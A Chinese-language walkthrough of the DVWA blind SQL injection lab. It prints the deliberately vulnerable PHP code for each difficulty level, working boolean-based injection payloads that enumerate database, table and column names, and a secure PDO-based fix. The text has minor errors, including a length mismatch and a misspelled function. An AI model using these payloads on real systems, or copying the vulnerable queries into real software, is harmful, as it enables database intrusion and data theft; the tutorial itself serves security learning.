SQL Injection(Blind),即SQL盲注,與一般注入的區(qū)別在于,一般的注入攻擊者可以直接從頁面上看到注入語句的執(zhí)行結(jié)果,而盲注時(shí)攻擊者通常是無法從顯示頁面上獲取執(zhí)行結(jié)果,甚至連注入語句是否執(zhí)行都無從得知,因此盲注的難度要比一般注入高。目前網(wǎng)絡(luò)上現(xiàn)存的SQL注入漏洞大多是SQL盲注。
手工思路
手工盲注的過程,就像你與一個(gè)機(jī)器人聊天,這個(gè)機(jī)器人知道的很多,但只會(huì)回答“是”或者“不是”,因此你需要詢問它這樣的問題,例如“數(shù)據(jù)庫(kù)名字的第一個(gè)字母是不是a啊?”,通過這種機(jī)械的詢問,最終獲得你想要的數(shù)據(jù)。
盲注分為基于布爾的盲注、基于時(shí)間的盲注以及基于報(bào)錯(cuò)的盲注
步驟
1.判斷是否存在注入,注入是字符型還是數(shù)字型
2.猜解當(dāng)前數(shù)據(jù)庫(kù)名
3.猜解數(shù)據(jù)庫(kù)中的表名
4.猜解表中的字段名
5.猜解數(shù)據(jù)
low服務(wù)器核心代碼
<?php
if( isset( $_GET[ 'Submit' ] ) ) {
// Get input
$id = $_GET[ 'id' ];
// Check database
$getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
$result = mysql_query( $getid ); // Removed 'or die' to suppress mysql errors
// Get results
$num = @mysql_numrows( $result ); // The '@' character suppresses errors
if( $num > 0 ) {
// Feedback for end user
echo '<pre>User ID exists in the database.</pre>';
}
else {
// User wasn't found, so the page wasn't!
header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );
// Feedback for end user
echo '<pre>User ID is MISSING from the database.</pre>';
}
mysql_close();
}
?>
可以看到,只返回兩種結(jié)果。即User ID exists in the database.和User ID is MISSING from the database.為盲注
1、判斷是否存在注入,是字符還是數(shù)字型
輸入1,顯示相應(yīng)用戶存在
輸入1’ and 1=1 #,顯示存在
輸入1’ and 1=2 #,顯示不存在
可判斷存在字符型注入。
2、得到數(shù)據(jù)庫(kù)名
要得到數(shù)據(jù)庫(kù)名字,就要知道數(shù)據(jù)庫(kù)名長(zhǎng)度并挨個(gè)猜測(cè)字符。
輸入1’ and length(database())=4 #,顯示存在,說明數(shù)據(jù)庫(kù)名字長(zhǎng)度為5個(gè)字符。
猜測(cè)數(shù)據(jù)庫(kù)名的每個(gè)ascll字符。用二分法
1’ and ascii(substr(databse(),1,1))>97 #
后面接著猜測(cè)后面的幾位
3、得到數(shù)據(jù)庫(kù)表名
首先得到數(shù)據(jù)庫(kù)表名數(shù)量:
1' and (select count(table_name) from information_schema.tables where table_schema=database())=2#
得到數(shù)據(jù)庫(kù)表數(shù)量為2個(gè)。
然后挨個(gè)猜測(cè)表名:
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>97 # 顯示存在
依次將表猜 出來為guestbook和users
4、得到字段名
得到字段數(shù)量
1’ and (select count(column_name) from information_schema.columns where table_name= ’users’)=8 # 顯示存在 即字段數(shù)量為8
挨個(gè)猜測(cè)字段名,
得到長(zhǎng)度:1’ and length(substr((select column_name from information_schema.columns where table_name= ’users’ limit 0,1),1))=7 # 顯示存在。。。。。
Medium服務(wù)器核心代碼
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$id = $_POST[ 'id' ];
$id = mysql_real_escape_string( $id );
// Check database
$getid = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
$result = mysql_query( $getid ); // Removed 'or die' to suppress mysql errors
// Get results
$num = @mysql_numrows( $result ); // The '@' character suppresses errors
if( $num > 0 ) {
// Feedback for end user
echo '<pre>User ID exists in the database.</pre>';
}
else {
// Feedback for end user
echo '<pre>User ID is MISSING from the database.</pre>';
}
//mysql_close();
}
?>
可以看到,Medium級(jí)別的代碼利用mysql_real_escape_string函數(shù)對(duì)特殊符號(hào)
\x00,\n,\r,,’,”,\x1a進(jìn)行轉(zhuǎn)義,同時(shí)前端頁面設(shè)置了下拉選擇表單,希望以此來控制用戶的輸入。
通過抓包修改id參數(shù),一樣可以實(shí)現(xiàn)注入,可以利用布爾注入,時(shí)間注入實(shí)現(xiàn)。
High服務(wù)器核心代碼
<?php
if( isset( $_COOKIE[ 'id' ] ) ) {
// Get input
$id = $_COOKIE[ 'id' ];
// Check database
$getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
$result = mysql_query( $getid ); // Removed 'or die' to suppress mysql errors
// Get results
$num = @mysql_numrows( $result ); // The '@' character suppresses errors
if( $num > 0 ) {
// Feedback for end user
echo '<pre>User ID exists in the database.</pre>';
}
else {
// Might sleep a random amount
if( rand( 0, 5 ) == 3 ) {
sleep( rand( 2, 4 ) );
}
// User wasn't found, so the page wasn't!
header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );
// Feedback for end user
echo '<pre>User ID is MISSING from the database.</pre>';
}
mysql_close();
}
?>
High級(jí)別的代碼利用cookie傳遞參數(shù)id,當(dāng)SQL查詢結(jié)果為空時(shí),會(huì)執(zhí)行函數(shù)sleep(seconds),目的是為了擾亂基于時(shí)間的盲注。同時(shí)在 SQL查詢語句中添加了LIMIT 1,希望以此控制只輸出一個(gè)結(jié)果。
LIMIT 1我們可以通過#將其注釋掉。
抓包將cookie中參數(shù)id修改。像users要改為(0×7573657273 為users的16進(jìn)制)。
Impossible服務(wù)器代碼
<?php
if( isset( $_GET[ 'Submit' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$id = $_GET[ 'id' ];
// Was a number entered?
if(is_numeric( $id )) {
// Check the database
$data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
$data->bindParam( ':id', $id, PDO::PARAM_INT );
$data->execute();
// Get results
if( $data->rowCount() == 1 ) {
// Feedback for end user
echo '<pre>User ID exists in the database.</pre>';
}
else {
// User wasn't found, so the page wasn't!
header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );
// Feedback for end user
echo '<pre>User ID is MISSING from the database.</pre>';
}
}
}
// Generate Anti-CSRF token
generateSessionToken();
?>
Impossible級(jí)別的代碼采用了PDO技術(shù),劃清了代碼與數(shù)據(jù)的界限,有效防御SQL注入,Anti-CSRF token機(jī)制的加入了進(jìn)一步提高了安全性。